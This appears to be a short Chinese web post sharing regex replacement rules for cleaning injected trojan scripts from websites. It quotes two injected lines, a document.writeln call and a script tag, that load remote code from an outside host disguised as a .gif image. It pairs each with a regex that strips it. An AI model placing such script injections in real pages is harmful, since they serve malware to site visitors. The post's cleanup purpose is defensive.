JS变量挂马替换规则分享

网站木马清理专家全功能免费版:https://www.jb51.net/softs/12771.html
挂马内容如下:

程序代码
document.writeln("<script src=http:\\/\\/52yes.9966.org:10086\\/images\\/1.gif?KRKJ><\\/script>");

替换规则如下:

程序代码
@document\\.writeln\\("<script.*9966\\.org.*\\/script>"\\);

挂马内容如下:

程序代码
<script src=http://52yes.9966.org:10086/images/1.gif?VINIJ></script>

替换规则如下:

程序代码
@<script[^<]*9966\\.org[^<]*</script>

发表评论

邮箱地址不会被公开。 必填项已用*标注